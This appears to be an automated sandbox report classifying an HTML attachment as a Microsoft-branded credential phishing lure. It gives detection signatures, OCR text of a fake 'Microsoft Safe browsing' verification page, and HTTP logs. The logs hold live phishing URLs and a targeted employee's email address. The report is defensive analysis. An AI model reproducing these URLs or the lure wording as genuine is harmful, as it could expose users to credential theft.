Edit tour

Windows Analysis Report
Attach1.htm

Overview

General Information

Sample name:	Attach1.htm
Analysis ID:	1617106
MD5:	4f5dfc91c5499f9631b0c9c3b635b3a1
SHA1:	5ab7a4b2ec7db417f8dcb818c1d61b72e0b2f571
SHA256:	cc82a9693515f8253dbe076f887cd349728b90ba209f67fae7f0aa4a3f2b8be7
Infos:

Detection

HTMLPhisher

Score:	88
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

HTML file submission requesting Cloudflare captcha challenge

Yara detected HtmlPhish10

AI detected suspicious URL

Detected javascript redirector / loader

Phishing site or detected (based on various text indicators)

Suspicious Javascript code found in HTML file

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3396 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Attach1.htm" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 320 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2312,i,14140451099508298716,2308933529325916182,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.8.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://5981999647.bureaubusinesslawyer.com/next.php

Avira URL Cloud: Label: malware

Phishing

AI detected phishing page

Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The provided URL 'jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com' does not match the legitimate domain 'microsoft.com'., The URL contains suspicious elements such as random characters and a long string of alphanumeric characters, which are common in phishing URLs., The use of 'msn' in the subdomain could be an attempt to mimic Microsoft's services, but the rest of the domain is not associated with Microsoft., The domain extension '.com' is common, but the overall structure and content of the URL are highly suspicious. DOM: 1.1.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.6.pages.csv, type: HTML
Source: Yara match	File source: 1.8.pages.csv, type: HTML
Source: Yara match	File source: 1.7.pages.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML

AI detected suspicious URL

Source: https://msn-oauth2hdf634hwe834my434hu4745fhy.com

Joe Sandbox AI: The URL 'https://msn-oauth2hdf634hwe834my434hu4745fhy.com' appears to be attempting to mimic the well-known brand 'MSN'. The use of 'msn' at the beginning of the domain suggests an attempt to associate with the legitimate 'https://www.msn.com'. The addition of 'oauth2' could imply a connection to authentication services, which might mislead users into thinking it is a secure or official service. The rest of the domain consists of random alphanumeric characters, which is a common tactic in typosquatting to create a unique domain while maintaining a semblance of legitimacy. The use of '.com' is consistent with the legitimate domain, increasing the likelihood of user confusion. Overall, the structural similarity and the use of 'msn' in the domain name suggest a high likelihood of typosquatting.

Detected javascript redirector / loader

Source: Attach1.htm

HTTP Parser: Low number of body elements: 0

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 1.1	OCR Text: Microsoft Safe browsing features activating. Verifying... CLOUDFLARE Ten-rs Microsoft must validate your connection's security before granting access-
Source: Chrome DOM: 1.3	OCR Text: Microsoft Safe browsing features activating. Verifying... CLOUDFLARE Ten-rs Microsoft must validate your connection's security before granting access-

Suspicious Javascript code found in HTML file

Source: Attach1.htm	HTTP Parser: location.href
Source: Attach1.htm	HTTP Parser: .location
Source: Attach1.htm	HTTP Parser: .location

Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com

HTTP Parser: Number of links: 0

Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: Invalid link: Privacy statement
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: Invalid link: Privacy statement
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: Invalid link: Privacy statement
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: Invalid link: Privacy statement

Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com

HTTP Parser: <input type="password" .../> found

Source: Attach1.htm	HTTP Parser: No favicon
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No favicon
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No favicon
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No favicon
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No favicon
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No favicon
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No favicon
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No favicon

Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No <meta name="author".. found
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No <meta name="author".. found
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No <meta name="author".. found
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No <meta name="author".. found

Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No <meta name="copyright".. found
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No <meta name="copyright".. found
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No <meta name="copyright".. found
Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	HTTP Parser: No <meta name="copyright".. found

Source: Joe Sandbox View	IP Address: 95.101.182.65 95.101.182.65
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.187.31 104.18.187.31

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /kUv3b/?e=tina.vemmelund@rockwool.com HTTP/1.1Host: jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: http://ahtbuildingservices.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/324d0dcf743c/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/h2sch/0x4AAAAAAA8Z6LQjS_cJDeOa/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/324d0dcf743c/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=91361dc9ed8ade99&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/h2sch/0x4AAAAAAA8Z6LQjS_cJDeOa/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/h2sch/0x4AAAAAAA8Z6LQjS_cJDeOa/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=vs5r2m4mbq8vi4490t46pnn8ri
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=91361dc9ed8ade99&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1943824874:1739795386:_kkzkTyYJ0FrfPDBOiWBmY2M4aUfhhRFIBrFUaWGHSk/91361dc9ed8ade99/6QcKH_ulfCVbBdpGH1XF4m66kGQpKK4Dxuh2Yp5PKv4-1739798862-1.1.1.1-GRN_NfAeTmqhQjxWJeqmSN.UIByHTBclAiMcTagVYNARpWEUeTGdkk3uqHHDYvTa HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/91361dc9ed8ade99/1739798864508/6e70cf5e083a7d386e1f9974bb4b5bd9dd11c43a64ceb287c4a293432abc6528/bxaDx2Cm7tbdiu6 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/h2sch/0x4AAAAAAA8Z6LQjS_cJDeOa/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/91361dc9ed8ade99/1739798864509/aZQKGyY5pVav8Kb HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/h2sch/0x4AAAAAAA8Z6LQjS_cJDeOa/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/91361dc9ed8ade99/1739798864509/aZQKGyY5pVav8Kb HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1943824874:1739795386:_kkzkTyYJ0FrfPDBOiWBmY2M4aUfhhRFIBrFUaWGHSk/91361dc9ed8ade99/6QcKH_ulfCVbBdpGH1XF4m66kGQpKK4Dxuh2Yp5PKv4-1739798862-1.1.1.1-GRN_NfAeTmqhQjxWJeqmSN.UIByHTBclAiMcTagVYNARpWEUeTGdkk3uqHHDYvTa HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1943824874:1739795386:_kkzkTyYJ0FrfPDBOiWBmY2M4aUfhhRFIBrFUaWGHSk/91361dc9ed8ade99/6QcKH_ulfCVbBdpGH1XF4m66kGQpKK4Dxuh2Yp5PKv4-1739798862-1.1.1.1-GRN_NfAeTmqhQjxWJeqmSN.UIByHTBclAiMcTagVYNARpWEUeTGdkk3uqHHDYvTa HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
